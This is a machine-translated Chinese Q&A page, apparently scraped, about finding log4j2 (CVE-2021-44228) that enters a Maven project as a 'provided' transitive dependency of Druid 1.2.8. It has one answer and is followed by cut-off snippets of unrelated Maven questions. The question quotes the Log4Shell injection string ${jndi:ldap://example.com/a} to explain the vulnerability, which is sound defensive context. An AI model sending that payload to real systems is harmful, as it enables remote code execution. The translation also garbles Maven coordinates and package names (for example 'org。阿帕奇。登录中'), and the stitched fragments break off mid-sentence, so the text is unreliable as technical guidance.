我们如何解决maven中提供的可传递依赖关系？
12月10日，在log4j2（CVE-2021-44228)中发现了一个严重的漏洞，我被要求检测我们项目（主要是maven项目）中的所有log4j用法（直接和传递）。我发现很容易检测log4j2是否被列为直接依赖项。我可以通过mvn依赖项：树或mvn依赖项：build-classpath来检查它们。就像下面显示的树。我知道这也是Eclipse Steady和OWASP正在使用的方法。
我的公司：我的应用程序：v1。0
\-org。阿帕奇。登录中。log4j:log4japi:jar:2.13.3:compile
然而，在一些特殊情况下，事情并不是那么容易。例如，我有另一个这样的项目：
我的公司：my-app2：v1.0
\-com.alibaba：德鲁伊：jar：1.2.8：编译
这看起来很干净，对吧？但实际上，log4j2在Druid 1.2.8中被列为“提供”依赖项。在这里检查pom。根据maven文档，“提供”范围不是传递的，因此log4j没有列在树中。
但实际上，它就在那里。我可以在这个Druid： 1.2.8中找到log4j的函数调用。
检查这里：druid中的log4j2
我还使用coomit来确保该函数实际上是可访问的。
根据本页，任何类似${jndi:ldap://example.com/a}可能会导致这样的问题。所以理论上讲，druid:1.2.8被感染了。
真正的树可能是这样的
我的公司：my-app2:v1。0
\-com。阿里巴巴：德鲁伊：jar:1.2.8:编译
让我们将log4j和my-app2之间的关系定义为可传递的“提供的”依赖关系
以下是我的问题：
>
如果不逐个手动检查POM，我们如何解决提供的可传递依赖关系？
共有1个答案
java中的类和方法解析发生在运行时，即第一次引用类或方法。如果您链接的代码在类路径上没有Logger或LogManager的情况下运行，这将导致抛出错误。如果它实际上没有被使用，例如，如果它必须以某种方式手动配置，那么这完全没问题。
还要注意的是，Logger和LogManager都是log4j api依赖项的一部分，而受漏洞影响的代码位于log4j内核中。对log4j api的依赖应该是完全正确的，有一些像log4j-to-slf4j这样的项目实现了这个api，并将实际的日志记录委托给不同的实现。
-
我们有一个项目a依赖于项目B，项目B依赖于图书馆C。a和B是本地项目，而C是maven central repo的公共图书馆。 波姆。xml用于： 波姆。用于B的xml： 在A中运行mvn dependency:tree-Dverbose时，它不会解析B的依赖项，B中使用的此类依赖项也不会显示在A的Maven依赖项中。这对于编译很好，但在运行时会因为NoClassDefFound错误而失败。 有没
-
我的情况： 我有两个独立的项目A和B。 没有项目A。 A和B使用相同的库： < li >反射-0.9.9-RC1.jar < li >番石榴-11.0.2.jar < Li > XML-API-1.0 . B2 . jar < li>javassist-3.16.1-GA.jar < li>dom4j-1.6.1.jar < li>jsr305-1.3.9.jar 我制作了项目C，这是项目a的插件
-
我正在从一个使用Android-Maven-Plugin的Maven项目中构建一个Android应用程序。在这个项目中，我使用了新的beta版数据绑定库。 它包含在Android SDK的本地m2repository中（extras/Android/m2repository）。这个存储库中的库打包为AAR类型。 附注：对于我自己的本地构建，我有几个解决方案（例如重新打包为jar)，但我更喜欢一个更
-
根据Maven完整参考中的图像，当直接依赖关系范围为“编译”并且传递依赖关系的范围为“提供”时，传递依赖关系将被忽略。 我的问题是，如果直接依赖类从我的项目的传递依赖编译中扩展一个类将失败，因为在编译时'javac'将从传递依赖中寻找由直接依赖扩展的类，并且不会在编译时类路径中找到它，因为maven忽略了它。 基本上这就是编译直接依赖时编译传递依赖范围而不是运行时的原因，为什么提供传递依赖范围时不
-
谁能告诉我Maven中的依赖项Hamcrest有什么问题吗？这是一个遗憾，但我不能在这里附上截图。 当我试图更新Maven索引时，什么也没有发生。
-
删节依赖关系报告